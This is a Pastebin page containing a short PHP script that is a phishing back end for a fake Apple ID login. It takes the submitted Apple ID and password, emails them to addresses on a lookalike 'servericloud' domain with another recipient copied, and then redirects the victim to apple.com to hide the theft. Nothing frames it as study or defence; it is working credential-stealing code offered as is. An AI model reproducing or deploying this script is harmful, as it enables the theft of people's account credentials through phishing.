Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $idapple = $_POST['idapple'];
- $passapple = $_POST['passapple'];
- if(!$idapple == '' && !$passapple == ''){
- $correo_admin = "support@servericloud.com";
- $correo_web = "juanbotagallo@gmail.com";
- $titulo = 'Mensaje de Formulario: '.$idapple;
- $mensaje = '<table width="230" border="0" cellpadding="0" cellspacing="0"><tr><td><div id="campo">Nombre: <strong>'.$idapple.'</strong></div></td></tr><tr><td><div id="campo">Password: <strong>'.$passapple.'</strong></div></td></tr></table>';
- $cabeceras = 'MIME-Version: 1.0' . "\r\n";
- $cabeceras .= 'Content-type: text/html; charset=utf-8' . "\r\n";
- $cabeceras .= 'To: Informes <'.$correo_admin.'>' . "\r\n";
- $cabeceras .= 'From: PaginaWEB <'.$correo_web.'>' . "\r\n";
- $cabeceras .= 'Cc: support@servericloud.com, berrospi@disolu.com' . "\r\n";
- mail($correo_admin, $titulo, $mensaje, $cabeceras);
- header("Location: http://www.apple.com");
- }else{
- header("Location: index.php?m=2");
- exit();
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement